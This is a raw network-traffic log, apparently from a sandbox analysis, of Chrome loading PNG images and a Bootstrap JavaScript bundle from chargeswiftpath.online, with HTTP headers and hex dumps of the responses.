2025-01-08 14:45:42 UTC	442	OUT	GET /new/67234/app/desktop/images/secure3.png HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:42 UTC	965	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:42 GMT Content-Type: image/png Content-Length: 2512 Connection: close last-modified: Mon, 11 Nov 2024 10:53:58 GMT Cache-Control: public, max-age=31536000, must-revalidate expires: Sat, 20 Dec 2025 16:22:39 GMT CF-Cache-Status: HIT Age: 1635783 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y9%2F5%2FNcyCfRurmW9hdGTLOC6GB4rfIF2s85rud%2FXXvtOSaM0X3ixYRNFjgk%2BvVDLRNt7TGBFLK3wYMkObHSLb94VpURGJ%2BiHGAvn24dJGZcBHsfMeCuolPadJeAexhZeyDrYeIOCKnAU09FS0A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf90c4b587ce7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2067&min_rtt=2044&rtt_var=783&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2857&recv_bytes=1020&delivery_rate=1428571&cwnd=199&unsent_bytes=0&cid=f69b76ae74fe9678&ts=154&x=0"
2025-01-08 14:45:42 UTC	404	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8c 00 00 00 3c 08 03 00 00 00 83 d4 a2 79 00 00 02 76 50 4c 54 45 00 00 00 8e c5 48 f2 f8 ec 55 53 54 92 c6 51 20 1d 1e 1c 1c 1c 92 c7 51 1d 1a 1b 77 b9 22 20 1d 1e dc e7 cc e2 f0 cf 22 1f 20 18 17 17 4b 4b 4b 9e cd 63 87 c1 3d 62 60 60 63 62 62 be dd 95 d7 e3 c6 0d 0a 0b a2 a1 a1 b9 db 8d e1 ec d2 26 22 23 a3 d0 6b 9a cb 5b 9b cb 5e 30 2e 2f 3c 3a 3a 17 14 15 22 21 21 c4 e1 a0 26 25 26 d8 eb c0 32 31 31 9a ca 5b 29 25 26 3b 37 39 a2 cf 68 ab d4 77 5f 5c 5d 3c 3a 3b a7 d2 71 b6 da 89 4c 4b 4b 85 c0 3a c7 e2 a5 c0 df 99 d1 e7 b5 e6 f2 d6 d2 e8 b6 c2 e0 9c 5a 59 59 10 0d 0e 98 ca 59 37 34 35 93 c7 51 3f 3c 3c 26 23 24 4b 48 49 24 22 23 2a 28 28 60 5e 5f 6c 6b 6b a3 cf 69 42 40 40 70 6f 70 c7 e3 a5 c1 Data Ascii: PNGIHDR<yvPLTEHUSTQ Qw" " KKKc=b``cbb&"#k[^0./<::"!!&%&211[)%&;79hw_\]<:;qLKK:ZYYY745Q?<<&#$KHI$"#*((`^_lkkiB@@pop
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 93 c7 53 64 af 05 23 20 21 11 0d 0e 96 c8 55 8e c5 48 ff ff ff 23 1f 20 8c c4 46 85 c0 3a 02 00 00 7d bd 2d 08 05 06 0e 00 18 17 13 14 7a ba 29 0c 07 09 8f c5 4a 1c 18 19 90 c6 4c 12 0e 0f 28 26 23 95 c8 55 90 c9 49 15 09 1b 0f 0b 0c a5 e8 52 9f de 4f 9c da 4d 19 10 1c 0c 00 16 80 be 32 77 b9 24 1f 1b 1c d2 e6 b6 93 cd 4a 83 bf 37 a2 e3 51 12 05 19 ed f4 e1 c2 de 9c b2 d5 84 9f cd 63 88 c2 3f 75 b6 23 cd e4 ae b7 d9 8b 97 d3 4c 86 b8 46 88 cb 36 31 34 25 a2 e5 50 88 bd 47 6f 95 3d 86 c1 3c 41 4e 2c 34 3a 26 fb fc f8 f7 f9 f1 e0 ee cd bb da 92 a3 ce 6c 96 d0 4c 98 db 45 80 b0 44 8a c3 42 66 86 3a 51 68 32 72 b6 1d e6 f0 d5 d5 e7 bb c6 e0 a4 a9 ec 55 7b a8 42 5c 77 36 58 72 34 3b 44 29 d9 e9 c0 af d3 7d a8 d1 73 9a c9 5d 77 a0 41 4d 60 2f 47 58 2d 6c b5 13 Data Ascii: Sd# !UH# F:}-z)JL(&#UIROM2w$J7Qc?u#LF614%PGo=<AN,4:&lLEDBf:Qh2rU{B\w6Xr4;D)}s]wAM`/GX-l
2025-01-08 14:45:42 UTC	739	IN	Data Raw: d4 67 32 b1 68 8d 18 3d a5 47 0b 84 a1 bd 22 2c 5a a4 17 99 61 d8 4c 14 52 26 4c 10 f4 dc 66 cf dd c4 e8 77 27 ee d1 53 c3 bd c9 14 57 98 7f 64 c8 be 15 c9 e5 af 6d b6 e7 72 17 85 2d 34 aa d3 fb d2 06 c7 8f 32 93 d6 2d a3 5f 0e 98 60 42 8d d7 58 c1 50 77 d1 99 93 83 39 4e 2f 8a c2 6e 7c 77 5b 15 cb 71 22 12 5b dd 79 21 81 77 f9 96 10 bd 28 28 98 c5 d1 5e 93 a9 68 ae ee d0 d2 68 5f bf b0 55 e5 bc ca c4 bc 2a b2 da 8b 5e bd ca 2b ad f8 54 dd 9e d5 2d 73 2a 61 c4 06 c0 dc 4c 48 0c c7 63 e2 88 2b 27 f1 78 34 7e e9 d2 69 9d 1f 7b e0 fa f8 a5 cb 56 25 41 8f 0b 61 5d dc ae b8 f5 de cb 44 ca d0 23 95 8c 47 c9 e4 f0 2a 3b ed 22 5d 85 0f 1b 95 5a 74 8e f4 fb f3 0c fd 1e 35 2c 4d ca c8 4e 64 e8 c8 fd 70 35 c8 bf 32 55 ca a7 72 b9 86 56 ca 7a e1 7f 19 0c 9f 29 97 bf Data Ascii: g2h=G",ZaLR&Lfw'SWdmr-42-_`BXPw9N/n\|w[q"[y!w((^hh_U^+T-saLHc+'x4~i{V%Aa]D#G*;"]Zt5,MNdp52UrVz)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.16	49891	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:42 UTC	474	OUT	GET /new/67234/dynamic_lander_images/1720460577_1715789481_Dewalt%20Drill.png HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:42 UTC	959	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:42 GMT Content-Type: image/png Content-Length: 70023 Connection: close last-modified: Tue, 01 Oct 2024 09:46:00 GMT Cache-Control: public, max-age=31536000, must-revalidate expires: Sat, 20 Dec 2025 16:25:48 GMT CF-Cache-Status: HIT Age: 1635594 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rYc8mt4takzSktPCSG76dNVLh8gilbSsKJ6y6zlO1ZMw1xGkJegGbn1Pfkq7H%2Fr1VLGUxtmRDCsuzAttYOjYOeO08c5f45sNTU2V%2B5xRtFZ8EpwgWGCQmagKdupFqvUIFVqI4e25189xzCYg7A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf90c7f15f3bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1740&min_rtt=1707&rtt_var=664&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1052&delivery_rate=1710603&cwnd=82&unsent_bytes=0&cid=4404480beb9ff603&ts=134&x=0"
2025-01-08 14:45:42 UTC	410	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b5 00 00 01 f4 08 03 00 00 00 8d 70 43 26 00 00 03 00 50 4c 54 45 00 00 00 fa fa fa f6 f6 f6 f3 f3 f2 d8 d8 d7 ca ca c9 eb eb eb e0 df de e6 e6 e5 c1 c1 c0 89 89 89 b2 b2 b1 96 96 95 a6 a6 a5 6b 6b 6a a5 a5 a4 74 74 72 e5 d6 81 5c 5c 5a 7e 7e 7b 4d 4d 49 b6 b6 b5 ef ed e2 65 65 64 f1 e6 ad 82 81 84 92 92 93 40 3f 3e ca c9 c5 a2 a0 9b ec e9 d5 55 55 53 f0 e6 94 f2 eb b0 38 38 37 f1 f0 eb b1 b1 b1 a2 8e 6a 01 01 01 1c 1d 1b 43 43 43 05 05 05 1f 20 1d 3f 3f 41 13 13 11 3a 3a 3c 21 22 20 18 19 18 0f 10 10 47 47 47 15 16 15 24 25 23 27 27 28 0a 0a 0c 09 09 08 37 37 37 33 33 33 2c 2c 2a 3d 3d 3c 0e 0e 0c 54 53 5c 4b 4b 4b 51 50 58 5a 59 63 31 31 2e 48 47 4d 4b 49 51 57 56 5f 2d 2d 2f 50 50 4f 44 43 4a 4e Data Ascii: PNGIHDRpC&PLTEkkjttr\\Z~~{MMIeed@?>UUS887jCCC ??A::<!" GGG$%#''(777333,,*==<TS\KKKQPXZYc11.HGMKIQWV_--/PPODCJN
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: e3 bd 3b db 8b 27 fe fe fe 85 85 87 50 4f 43 f1 d7 37 dd b9 36 eb c0 30 f6 f6 f6 fb e6 4c f3 d1 4c ee d9 4a 3a 38 45 e7 ac 2e d2 87 21 68 67 6f ea c6 45 f3 e1 50 de 92 2b fb eb 6b ef d5 5a e3 a4 2c 9d 9d 9e 97 97 98 d6 b5 34 92 91 93 ee cc 32 23 21 15 f0 f0 f1 fb da 4b 8a 8a 8c e7 d2 47 da c2 4b 47 3b 1e 31 25 10 ea ea eb f2 dc 66 cf aa 37 96 7f 32 df e0 df fe f0 60 fb de 59 df ad 2b fe f1 4f cf ba 4a 59 49 20 dc 9d 2a 67 57 28 5f 58 42 c6 b2 48 f9 e9 41 a7 93 40 3b 31 1a 8f 8e 8c df cc 51 89 73 2e 1e 15 0a d8 d8 d8 99 8a 43 89 7a 3e 79 6a 30 a6 84 2e c3 a4 37 aa aa ab 90 82 4e b5 9d 42 18 0a 04 ea c9 54 d0 d0 cf da b2 42 ee bb 39 e4 d5 60 d1 95 28 ca b8 5c 78 5d 23 c1 c1 c0 a0 92 54 ad 9c 50 5a 50 34 4f 44 2e f5 c5 3a 72 66 45 bb bb bc 6e 61 36 7d 71 42 Data Ascii: ;'POC760LLJ:8E.!hgoEP+kZ,42#!KGKG;1%f72`Y+OJYI *gW(_XBHA@;1Qs.Cz>yj0.7NBTB9`(\x]#TPZP4OD.:rfEna6}qB
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 41 5a 8e 1a 34 b2 43 83 9b 94 81 29 54 23 d5 40 b1 6c aa ee 5f a4 d9 0d eb 38 32 33 80 48 59 ce 3a f5 e0 f2 f6 ce 98 ca 6a 5b 04 c0 fc ee 89 15 d7 65 cb f7 55 94 9e 0f 2f dd 5f 07 66 ef 03 b1 46 af d1 d9 69 b3 bd fd 3c e7 6f 14 85 03 f0 5e 82 70 56 bc 9b d3 e1 a3 5d 25 59 ad 5b 66 10 f1 d9 e4 c4 9b 02 68 64 f6 d7 eb 66 b8 cd 94 bd b0 27 e2 97 af 18 8b 6c d1 54 dd 3f 49 ff 70 10 5f e6 ce a1 0f 50 dc 9d b5 df 0e 4f 6f 9b 2c 4b 4c 52 a9 96 67 16 57 37 5a a7 71 c5 46 65 f6 97 eb db f5 2e 5b bc 25 be 7a b1 12 8b 60 d9 c4 92 9f a3 93 dd c5 10 d0 3a 9b 59 38 60 ef fd 30 ad 92 4a b5 2a 40 e6 49 76 37 37 c6 9c 68 8f 73 6f ac 45 74 fe ed 1a 7c df 04 01 01 f6 3e aa 12 b9 23 8e 7a 4d 2e f9 61 c6 07 63 11 0c 04 70 50 6c 07 1f 26 bd cc f2 e4 ec 2c 39 5b 27 bb b3 b3 3c Data Ascii: AZ4C)T#@l_823HY:j[eU/_fFi<o^pV]%Y[fhdf'lT?Ip_POo,KLRgW7ZqFe.[%z`:Y8`0J*@Iv77hsoEt\|>#zM.acpPl&,9['<
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: c9 18 54 35 5d 32 34 2f 66 98 97 b6 05 58 29 ba 06 f0 74 8d 83 cf 30 3e 8e 20 b9 da 1a 30 bf 13 b5 43 74 6c 18 90 2c 9f dd de 71 9c e0 3f dd 66 98 bd 4c 66 32 e2 e8 de de c6 fd d9 c9 52 22 66 08 ea 8a 1d 3d 24 43 23 8c 76 12 d8 ea 6f 4b 33 f1 69 5d d7 ad ff 8d 2f a5 d1 8b 6b 71 cf e3 02 b5 92 da 94 bc 8f e7 32 09 ee fa e0 4e d4 76 c3 f6 b7 cb c1 8d b7 0d c7 c3 2c 2b 4b 8d 8d dc 06 e9 f6 f7 94 f2 55 08 0e 35 11 49 af 38 ed 80 8f ec c8 aa d5 ae d6 91 6e 01 6f aa b5 91 ce 69 02 c3 13 94 9c 69 03 11 31 2d e2 a9 5a e3 da ca 1e 6e 94 2f f5 bf 02 bd 6a 3f bb d3 59 29 16 d3 48 44 fb 4e d3 f6 3c d4 ba ad 19 c6 a8 a1 d9 df 29 f2 aa d3 5e 55 92 01 68 24 e7 da 85 2a 22 0e 17 45 19 4c 46 56 83 0c 99 65 da b9 52 2c c0 86 4c d5 c6 81 08 74 16 61 3f 47 22 fe b5 43 6f 06 Data Ascii: T5]24/fX)t0> 0Ctl,q?fLf2R"f=$C#voK3i]/kq2Nv,+KU5I8noii1-Zn/j?Y)HDN<)^Uh$*"ELFVeR,Lta?G"Co
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 8f a3 2f 6d 23 ae ec dc e6 d5 8d b9 09 7f bf 80 0d 3a 63 a0 ad 9b 2f f6 6f 59 fb b8 98 b9 b0 86 90 e8 ac 00 c4 d3 40 bd 3a 7d 8b ad 38 cd c3 22 2f 8a ca 9b 92 44 a4 79 5c 8a b4 e2 11 05 32 23 e3 2d bd 02 39 35 c1 41 09 d2 68 c3 d2 96 f9 06 2e 13 00 08 6f 12 04 c8 94 68 e5 90 35 bd ea 6a 5f 4f a5 13 8b 46 63 70 4c 66 e3 8e 19 72 50 8a a9 72 b4 a0 72 dd fc 3f 5d 7a 98 c7 ab 7f b1 9d 26 ec 97 7a ff be 48 0a 6a 8a eb 66 fd ec a1 bd be aa 56 00 f7 36 0a 90 84 19 29 d6 55 5e 21 4b a2 47 a3 fb 28 bc 83 84 0a 79 87 74 43 de e5 7d 56 38 00 ee 60 46 43 d1 fa ce 3b e3 4d 1b 41 7f 99 a6 ab e4 18 a6 3d c3 fd 16 c9 12 1b 44 37 37 ce 6c 77 13 58 8d 1e 06 f0 ed c6 01 e1 9e 5e 3f e9 72 f1 1d 4a 2f 8d 85 d0 26 de f4 7b 78 e6 cf 27 8d ea 7b 0e 44 58 d1 5e 43 27 d7 70 11 06 Data Ascii: /m#:c/oY@:}8"/Dy\2#-95Ah.oh5j_OFcpLfrPrr?]z&zHjfV6)U^!KG(ytC}V8`FC;MA=D77lwX^?rJ/&{x'{DX^C'p
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: bf 79 66 d0 2b a0 85 8a 30 c1 31 5b 22 e8 54 f5 91 13 5d 5d 01 7a 35 0d c7 47 78 6a cc 73 f5 ce 3c 8a a5 56 2b ac 5c 21 4d c8 35 ea bd d3 50 12 c7 b8 54 30 84 c5 79 27 1a 4a 69 4c 6c c6 e1 d0 0f 5c 27 1a 04 e6 36 7f 5f 8a 84 8a 30 f2 f2 9f 55 6b f6 4c 03 90 21 cf 51 ab 33 b5 a9 98 00 a7 b0 4c 3a b9 38 3e 00 2a 06 08 12 b2 7e 6c 0b 6f d9 1b 70 eb 2d dd cc 7c 16 bb d4 26 8e fc 01 1a f6 15 c6 c3 87 c7 08 d2 2d 19 ae 93 75 93 26 8b 77 c1 e1 0c 39 d7 81 48 a0 c8 58 02 a8 e7 d1 a6 02 0a 3a c3 72 1c d7 00 d0 6e 3a 1b 7d 56 57 57 14 26 96 ea 63 31 43 5c 24 6e 11 bf 08 68 56 74 48 42 5f db ff 3f d1 91 4d a3 19 c1 08 6a 19 c2 a0 1e 6b f2 94 2a 31 88 e7 72 24 89 1f 1b 70 ec 0d aa bf 56 49 67 03 c3 de c0 70 e1 90 7d e0 1c 4b f1 3b 15 8a 02 20 b2 ff c8 ed 2b c6 93 88 Data Ascii: yf+01["T]]z5Gxjs<V+\!M5PT0y'JiLl\'6_0UkL!Q3L:8>~lop-\|&-u&w9HX:rn:}VWW&c1C\$nhVtHB_?Mjk1r$pVIgp}K; +
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 77 6a c9 03 9b f5 8f 13 27 d3 33 9b 38 fc bb 79 fd 7a f0 21 cd b1 ec 16 6f cc 29 c8 30 23 ac 94 ff 88 29 66 06 5c 49 47 9c 22 6e 15 7b cc 21 0e 23 66 67 14 57 8a e1 0c 65 7a b8 44 1b 72 2e ab 2c 01 33 86 f7 2c 3f 6d 64 c0 96 b3 3b b7 fd fd ce 72 f3 e0 55 78 25 8e 6b 43 2e 62 9c a0 43 b2 d0 56 9b 3a b4 8e 7d ab 81 90 1c 14 08 a3 00 4c 8e 95 52 c9 ae 5a a4 06 59 69 bf 36 06 f9 2f 51 36 be 2d 57 1c 8c cd d1 b6 38 64 02 b9 ef 02 ae df 98 5a 11 2c ff c8 83 2d ec ad f2 4a 20 f4 38 aa af 54 15 eb 24 da 4f fe 61 e9 cf c1 94 4d ad e4 06 66 82 a7 a0 13 99 04 98 d1 c0 29 d9 c9 b0 5c 9d 5e 61 6d 64 c1 2c 74 03 dd ed 8b 2b 7f 54 d8 15 a0 dc fb b7 17 07 76 0c 97 41 8d f9 fd d4 b2 d6 d8 22 94 bb 88 fc 4f c6 06 60 74 87 37 71 95 56 5e 9e dd bb 77 ef 99 21 55 af 98 9c 84 Data Ascii: wj'38yz!o)0#)f\IG"n{!#fgWezDr.,3,?md;rUx%kC.bCV:}LRZYi6/Q6-W8dZ,-J 8T$OaMf)\^amd,t+TvA"O`t7qV^w!U
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: c9 4d e3 4b 3b 24 bf e8 c5 f1 59 a8 a7 54 15 c1 12 5e 80 e1 80 c4 5f ac 56 15 e6 5d 36 f4 06 22 e7 e8 03 89 d9 3f 44 ca e5 38 d8 a9 e5 f1 52 85 42 2a bd b8 92 83 0a 05 cd c0 73 cb 71 ba bc da 5c 5d 8d 0e c7 dc f7 ec e4 4c 94 54 e3 e4 e7 9d 47 7f d9 3b f2 dd 77 bf 0c 1c e9 3b eb dc b6 bb c6 52 e6 fb f8 63 6f 7d 61 de e0 c4 95 9e 08 d2 2d 12 0a 55 34 84 66 2e f6 c9 6b 3d 59 c8 35 bb cf 67 00 67 a1 3c 55 2f 81 5c 2e e2 f3 30 97 1a 75 aa 8d 80 75 b1 0a 3d 81 f3 30 ce 3f 38 3b 06 a4 49 31 a2 19 2f 9e a9 84 51 4b 28 19 66 90 47 bc 38 9a 96 b4 b1 9c 65 5f 21 e6 67 98 29 93 c5 aa d2 ac 58 02 48 a2 f9 e0 18 ba 20 05 1a 67 7e c3 60 09 45 c3 0e 44 46 b8 33 01 97 91 42 5a 09 1f 23 48 09 de 07 93 6c b2 70 19 4a 4d 1e 7a 0a c6 de 92 b4 a4 de 5b b7 26 9b 83 fd 08 20 d7 Data Ascii: MK;$YT^_V]6"?D8RB*sq\]LTG;w;Rco}a-U4f.k=Y5gg<U/\.0uu=0?8;I1/QK(fG8e_!g)XH g~`EDF3BZ#HlpJMz[&
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: e1 a1 ee ba 53 a7 3e dd 5f d7 14 c0 01 76 a2 76 27 a2 ae ae a9 a9 69 d7 ae 48 10 d1 c5 08 32 22 33 43 53 3f b5 74 1a 4b 4c 89 e7 ce 1e a8 97 9d 1a 8b 31 4e de d1 49 51 c8 8c 9d 89 55 87 81 13 1a 38 1b c8 80 56 b8 b9 25 90 3a ae d1 e6 03 12 12 b3 28 72 8b 68 0a 4d e0 94 d4 c5 ee 74 d2 62 23 c3 24 e5 26 48 0b c6 73 2f c1 6a 8a 2f 34 26 e7 f1 9a 51 a3 11 f5 b1 3a a7 c8 54 a2 a0 cb a3 24 d7 90 47 95 82 cb ba 1c 06 24 0f ae 7a f4 b1 d5 8f bf ea 7c df 6e 78 3d 59 63 b1 d8 9d c0 2d 3d 6b 3c 4b 73 a4 a3 fb f8 a9 53 a7 76 36 f9 fd 78 f9 03 a5 7b 1a 23 dd 28 88 71 ac 38 8b 0c f7 23 42 98 48 9e 9e 38 3e 32 71 78 4b f6 db db ad 89 99 99 eb 14 8a 94 18 7f c3 70 0b fe 09 0c 24 74 46 1d 68 b7 8e fa 4a dc df 2a cc d9 12 8b 65 d2 22 b7 22 48 20 b7 3c 8b 28 0a 1a 08 ad 1a Data Ascii: S>_vv'iH2"3CS?tKL1NIQU8V%:(rhMtb#$&Hs/j/4&Q:T$G$z\|nx=Yc-=k<KsSv6x{#(q8#BH8>2qxKp$tFhJ*e""H <(
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 39 30 cc ea e1 ad fd d7 55 0e cc 76 4f 5e d7 f6 4e 7b fd c5 79 65 5e 69 09 ee f7 52 40 20 21 b5 e1 e5 16 98 f3 a0 7e 48 c6 e9 c4 06 5b b4 a3 c6 6a f0 7c 61 8b bb ed a0 34 40 ed 89 02 10 bb 95 ea 04 09 2d 17 45 46 35 8c f3 06 4c f9 a8 eb 87 d6 0f f8 61 fa e6 cf 99 d5 a7 e2 08 55 50 1c 8d 65 45 45 84 48 08 3e cd be 04 1d a8 65 19 73 f7 95 65 59 d2 d1 1e 5d f2 7f 21 91 87 6d da 34 ba 69 a8 77 45 6f b9 a6 59 9c 26 03 14 c4 99 98 99 53 94 57 5c 5e 57 b7 66 4d 5d 5d 5d 79 5d 38 5c 53 b7 e6 bb ef 8a 53 13 8b 72 bc 16 c3 58 70 d2 a9 27 e6 3e 76 3b 1b 68 97 ce 87 42 7c 7f ad c0 4a 18 e1 12 76 d5 45 17 6d dd 3e 3b 7b e7 c7 eb 06 07 a7 b7 bd 51 bd ae e7 9c c6 f2 2b 7d 4b e2 75 dd 23 ae 6c 93 43 3a 0e 26 8a 03 cc 42 87 ee a0 b2 95 fd 1a ab 50 97 ff ec 18 3c c5 90 c7 Data Ascii: 90UvO^N{ye^iR@ !~H[j\|a4@-EF5LaUPeEEH>eseY]!m4iwEoY&SW\^WfM]]]y]8\SSrXp'>v;hB\|JvEm>;{Q+}Ku#lC:&BP<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.16	49892	188.114.97.3	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:45:42 UTC	450	OUT	GET /new/67234/app/desktop/js/bootstrap.bundle.min.js HTTP/1.1 Host: www.chargeswiftpath.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=2e663a2ce722f9beb8deebd73c4952c1
2025-01-08 14:45:42 UTC	1011	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:45:42 GMT Content-Type: application/x-javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close last-modified: Mon, 11 Nov 2024 10:53:58 GMT Cache-Control: max-age=31536000 expires: Sat, 20 Dec 2025 16:22:39 GMT vary: Accept-Encoding,User-Agent content-language: en-us CF-Cache-Status: HIT Age: 1635783 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bDhVgzRnQVpe2FDgjRaRy8mfUxvlsg9pvDHqNcakLSYLxwqrQPfXyumq0yCAJfsAfzzhmU42wA%2BpBSaGcWJ9QXkqO0dnOJ%2FlOq7fPf%2Bj6HBecpqU3%2Fwo3QkL5Q9KxVAytHHOt69DfMz7VFaSxQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf90e8f2b42c7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1810&min_rtt=1804&rtt_var=681&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=1028&delivery_rate=1618625&cwnd=233&unsent_bytes=0&cid=bd32d880fde5256c&ts=151&x=0"
2025-01-08 14:45:42 UTC	358	IN	Data Raw: 37 63 38 33 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 35 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c Data Ascii: 7c83/! Bootstrap v4.5.2 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function(t,
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 5d 2c 65 29 3a 65 28 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 7c 7c 73 65 6c 66 29 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 29 7d 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 Data Ascii: define&&define.amd?define(["exports","jquery"],e):e((t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap={},t.jQuery)}(this,(function(t,e){"use strict";function n(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.conf
2025-01-08 14:45:42 UTC	1369	IN	Data Raw: 6c 6f 61 74 28 6e 29 2b 70 61 72 73 65 46 6c 6f 61 74 28 69 29 29 29 3a 30 7d 2c 72 65 66 6c 6f 77 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 6f 66 66 73 65 74 48 65 69 67 68 74 7d 2c 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 65 28 74 29 2e 74 72 69 67 67 65 72 28 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 Data Ascii: loat(n)+parseFloat(i))):0},reflow:function(t){return 